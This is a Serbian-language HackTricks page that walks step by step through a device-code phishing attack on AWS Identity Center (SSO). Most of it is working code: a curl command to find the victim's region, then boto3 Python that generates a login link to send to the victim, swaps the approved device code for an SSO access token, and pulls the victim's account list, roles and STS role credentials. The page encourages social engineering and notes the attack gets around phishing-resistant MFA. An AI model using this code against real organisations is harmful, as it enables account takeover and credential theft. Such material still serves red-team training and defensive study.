AWS - Identity Center & SSO Unauthenticated Enum

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

AWS Device Code Phishing

Prvobitno predloženo u this blog post, moguće je poslati link korisniku koji koristi AWS SSO koji, ako ga korisnik prihvati, napadač će moći da dobije token za impersonaciju korisnika i pristupi svim rolama kojima korisnik ima pristup u Identity Center.

Da bi se izveo ovaj napad, neophodni uslovi su:

  • Žrtva mora da koristi Identity Center
  • Napadač mora da zna subdomen koji koristi žrtva <victimsub>.awsapps.com/start

Samo sa tim informacijama, napadač može poslati link korisniku koji, ako ga korisnik prihvati, omogućava napadaču pristup AWS korisničkom nalogu.

Napad

  1. Pronalaženje subdomena

Prvi korak napadača je da otkrije subdomen koji kompanija žrtva koristi u svom Identity Center. To se može uraditi putem OSINT ili putem guessing + BF, jer većina kompanija ovde koristi svoje ime ili neku varijaciju istog.

Sa tim informacijama, moguće je dobiti region u kojem je Identity Center konfigurisan:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generiši link za victim & Pošalji ga

Pokreni sledeći kod da generiše AWS SSO link za prijavu tako da victim može da se autentifikuje.
Za demo, pokreni ovaj kod u python konzoli i nemoj je zatvarati, jer će ti kasnije trebati neki objekti da dobiješ token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Pošaljite generisani link žrtvi koristeći svoje sjajne social engineering veštine!

  1. Sačekajte dok žrtva ne prihvati

Ako je žrtva bila već prijavljena na AWS biće potrebno samo da prihvati dodeljivanje dozvola, ako nije, moraće da se prijavi i potom prihvati dodeljivanje dozvola.
Ovako izgleda prompt danas:

  1. Dobijte SSO access token

Ako je žrtva prihvatila prompt, pokrenite ovaj kod da biste generisali SSO token koji se predstavlja kao korisnik:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token je važeći 8h.

  1. Lažno predstavljanje korisnika
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Zanimljivo je znati da prethodni napad radi čak i ako se koristi “unphisable MFA” (webAuth). To je zato što prethodni workflow nikada ne napušta korišćeni OAuth domain. Za razliku od drugih phishing napada gde korisnik mora da zameni login domain, u ovom slučaju device code workflow je pripremljen tako da je code poznat uređaju i korisnik se može login čak i na drugom računaru. Ako se prompt prihvati, uređaj, samo znajući početni code, biće u stanju da retrieve credentials za korisnika.

Za više informacija o tome pogledajte ovaj post.

Automatski alati

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks